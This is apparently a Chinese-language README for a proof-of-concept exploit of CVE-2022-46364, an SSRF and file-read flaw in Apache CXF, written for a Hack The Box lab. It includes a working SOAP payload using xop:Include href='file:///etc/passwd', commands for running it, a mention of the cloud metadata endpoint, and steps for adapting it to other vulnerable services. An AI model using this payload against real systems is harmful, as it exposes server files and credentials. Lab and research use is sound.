针对 CVE-2022-46364 的概念验证(PoC)利用程序 —— Apache CXF 在 MTOM/XOP 请求处理中的服务端请求伪造(SSRF)漏洞。
CVE-2022-46364 影响 3.4.10 和 3.5.5 之前版本的 Apache CXF。当 SOAP 服务启用 MTOM(消息传输优化机制)时,CXF 反编组器会对 <xop:Include> 元素内的 href 属性校验不当。CXF 并未按要求将 href 限制为 cid: URI(W3C XOP 规范要求如此),而是解引用了任意 URI —— 包括 file://、http:// 和 https://。
这使得未经认证的攻击者能够:
file:///etc/passwd)http://169.254.169.254/)本 PoC 编写并测试于 Hack The Box 机器:
目标端点: http://devarea.htb:8080/employeeservice
但根据目标 WSDL 对 XML 载荷稍作修改,即可使其适配目标环境。
默认 URL 为 http://devarea.htb:8080/employeeservice。
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
重要提示: 此脚本针对 HTB DevArea 的 WSDL 结构进行了硬编码。要将其用于另一个存在漏洞的 Apache CXF 服务,必须修改
build_payload()中的 SOAP 载荷,以匹配目标 WSDL 契约。
获取目标的 WSDL:
curl http://target:8080/employeeservice?wsdl
确定服务详细信息:
targetNamespace(例如 http://devarea.htb/)submitReport)<content> 的 <arg0>)修改 build_payload() 中的载荷:
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> 放置在服务器将作为附件处理的字段内运行脚本时更新 --url。
给定以下 WSDL 片段:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
你的载荷应变为:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
Content-Type: application/xop+xml 的 multipart/related HTTP 请求。<xop:Include href="file:///etc/passwd"/> 元素。file:// URI。<return> 元素返回。Content: 之后的 base64 字符串并对其进行解码。本工具仅用于授权的安全测试和教育目的。在测试不属于你的系统之前,请务必获得明确许可。作者不对因使用本脚本而造成的任何滥用或损害负责。
MIT 许可证 —— 欢迎适当注明出处后使用、修改和分享。
| 资源 | 链接 |
|---|
| Apache CXF 安全公告 | CVE-2022-46364 |
| NVD 条目 | NVD — CVE-2022-46364 |
| Apache Jira(CXF-8706) | CXF-8706 |
| W3C XOP 规范 | XML-binary Optimized Packaging |
| Penligent 深入分析 | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |